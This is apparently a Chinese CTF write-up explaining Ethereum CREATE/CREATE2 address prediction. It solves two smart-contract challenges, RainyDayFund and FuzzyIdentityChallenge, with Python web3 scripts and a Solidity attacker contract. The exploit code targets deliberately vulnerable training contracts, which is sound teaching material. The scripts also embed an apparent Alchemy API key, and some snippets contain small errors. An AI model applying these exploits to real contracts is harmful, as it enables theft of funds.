Creat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from web3 import Web3
import utils
import rlp
w3 = Web3(Web3.HTTPProvider(
'https://eth-goerli.g.alchemy.com/v2/LpLlanLNUEgZtjfJbVeZVMe_wh3B2NXG'))

def getnonce(addr):
return w3.eth.get_transaction_count(Web3.to_checksum_address(hex(addr)))

def getaddress(addr, nonce):
return (Web3.keccak(rlp.encode([addr, nonce]))[12:].hex())

addr = 0x8aC8215492Ce132Eb4d1db7EcE3eF0caF670deFf
nonce = getnonce(addr)
print(nonce)
getnextaddress = getaddress(addr, nonce)
print(getnextaddress)
p = w3.to_checksum_address(getnextaddress)
print(p)

预测地址创建合约的下一个地址,creat方法,合约创建一个新合约,默认nonce为0

Creat题目

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract DebugAuthorizer{

bool public debugMode;

constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}

contract RainyDayFund is CtfFramework{

address public developer;
mapping(address=>bool) public fundManagerEnabled;
DebugAuthorizer public debugAuthorizer;

constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
//debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
debugAuthorizer = new DebugAuthorizer();
developer = msg.sender;
fundManagerEnabled[msg.sender] = true;
}

modifier isManager() {
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
_;
}

function () external payable ctf{
// Anyone can add to the fund
}

function addFundManager(address _newManager) external isManager ctf{
fundManagerEnabled[_newManager] = true;
}

function removeFundManager(address _previousManager) external isManager ctf{
fundManagerEnabled[_previousManager] = false;
}

function withdraw() external isManager ctf{
msg.sender.transfer(address(this).balance);
}
}

Analyse

题目要求转走所有的钱,因此我们需要通过isManage,而通过此修饰需要我们满足,DebugAuthorizer合约在构造的时候就有1.337 ether的代币

1
2
3
4
5
6
7
8
9
10
contract DebugAuthorizer{

bool public debugMode;

constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}

因此我们需要预测合约地址,在此合约创建之前就进行转币,以此来满足

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from web3 import Web3
import utils
import rlp
w3 = Web3(Web3.HTTPProvider('https://eth-goerli.g.alchemy.com/v2/LpLlanLNUEgZtjfJbVeZVMe_wh3B2NXG'))

def getnonce(addr):
return w3.eth.get_transaction_count(Web3.to_checksum_address(hex(addr)))

def getaddress(addr, nonce):
return (Web3.keccak(rlp.encode([addr, nonce]))[12:].hex())

addr = 0x8aC8215492Ce132Eb4d1db7EcE3eF0caF670deFf
nonce = getnonce(addr)
print(nonce)
contractaddress= getaddress(addr, nonce)
getaddress=getaddress(contractaddress,1)
print(getaddress)

Creat2

语法

语法:new contract{salt:bytes32(_salt)}(构造合约的参数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Temp{
address public owner;
constructor(address _owner){
owner=_owner;
}
}

contract Deploy2{
event Deploy(address addr);
function deploy(uint _salt)external{
Temp _contract=new Temp{salt:bytes32(_salt)}(msg.sender);//create2方法相对于原来的方法只需加个大括号
emit Deploy(address(_contract));
}

//预测地址
function getAddress(bytes memory bytecode,uint _salt)public view returns(address){
bytes32 hash=keccak256(abi.encodePacked(
bytes1(0xff),address(this),_salt,keccak256(bytecode)
));
return address(uint160(uint(hash)));

}
//得到bytecode
function getBytecode(address _owner)public pure returns(bytes memory){
bytes memory bytecode=type(DeployWithCreate2).creationCode;
return abi.encodePacked(bytecode,abi.encode(_owner));
}
}

还可以通过内联汇编来creat2

语法:{a := create2(callvalue, add(0x20, Bytecode), mload(Bytecode), 0x01)}

CREATE2 [value offset length salt] =>>四个参数

msg.value code的起始位置 code的长度 salt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.5.10;

contract Deployer {
address public deployedAddr;

function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex"";
assembly {
a := create2(callvalue, add(0x20, code), mload(code), 0x01)
}
deployedAddr = a;
}
}

py脚本creat2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from web3 import Web3, HTTPProvider

deployingAddr = 'd9145CCE52D386f254917e481eB44e9943F39138'

code = '0x608060405234801561000f575f80fd5b5060ce8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c806306fdde0314602a575b5f80fd5b60306044565b604051603b91906081565b60405180910390f35b5f7f736d617278000000000000000000000000000000000000000000000000000000905090565b5f819050919050565b607b81606b565b82525050565b5f60208201905060925f8301846074565b9291505056fea2646970667358221220184a43afff86c72d959a260ceda2c19ec6c6724dfd0870b2bfd2484ea098e7b664736f6c63430008140033'

s = Web3.keccak(hexstr=code)
print(s)
a = ''.join(['%02x' % b for b in s])
print(a)

i = 0
# 去掉0x,并且补充到bytes32位
salt = hex(i)[2:].rjust(64, '0')
print(salt)

p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12:].hex()

Creat2题目

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.4.21;

interface IName {
function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
bool public isComplete;

function authenticate() public {
require(isSmarx(msg.sender));
require(isBadCode(msg.sender));

isComplete = true;
}

function isSmarx(address addr) internal view returns (bool) {
return IName(addr).name() == bytes32("smarx");
}

function isBadCode(address _addr) internal pure returns (bool) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000badc0de";
bytes20 mask = hex"000000000000000000000000000000000fffffff";

for (uint256 i = 0; i < 34; i++) {
if (addr & mask == id) {
return true;
}
mask <<= 4;
id <<= 4;
}

return false;
}
}

Analyse

需要通过isBadCode才可以完成合约,isBadCode要求地址中任意位置出现0badc0de即可,因此我们需呀用creat2方法来寻找地址

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract Attack{
function name() external view returns (bytes32){
return bytes32("smarx");
}
}
contract Deploy{

function getBytecode()public pure returns(bytes memory){
bytes memory bytecode=type(Attack).creationCode;
return bytecode;
}
function deploy(uint _salt)external returns(address addr ){
Attack _contract=new Attack{salt:bytes32(_salt)}();
addr=address(_contract);//create2方法相对于原来的方法只需加个大括号
}
}

然后寻找s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from web3 import Web3, HTTPProvider

deployingAddr = 'd9145CCE52D386f254917e481eB44e9943F39138'

code = '0x608060405234801561000f575f80fd5b5060ce8061001c5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c806306fdde0314602a575b5f80fd5b60306044565b604051603b91906081565b60405180910390f35b5f7f736d617278000000000000000000000000000000000000000000000000000000905090565b5f819050919050565b607b81606b565b82525050565b5f60208201905060925f8301846074565b9291505056fea2646970667358221220184a43afff86c72d959a260ceda2c19ec6c6724dfd0870b2bfd2484ea098e7b664736f6c63430008140033'

s = Web3.keccak(hexstr=code)
print(s)
a = ''.join(['%02x' % b for b in s])
print(a)
i = 0
while (1):
# 去掉0x,并且补充到bytes32位
salt = hex(i)[2:].rjust(64, '0')
print(salt)
p = Web3.keccak(hexstr=('0xff' + deployingAddr + salt + a))[12:].hex()
if '0badc0de' in p:
print(salt, p)
break
i += 1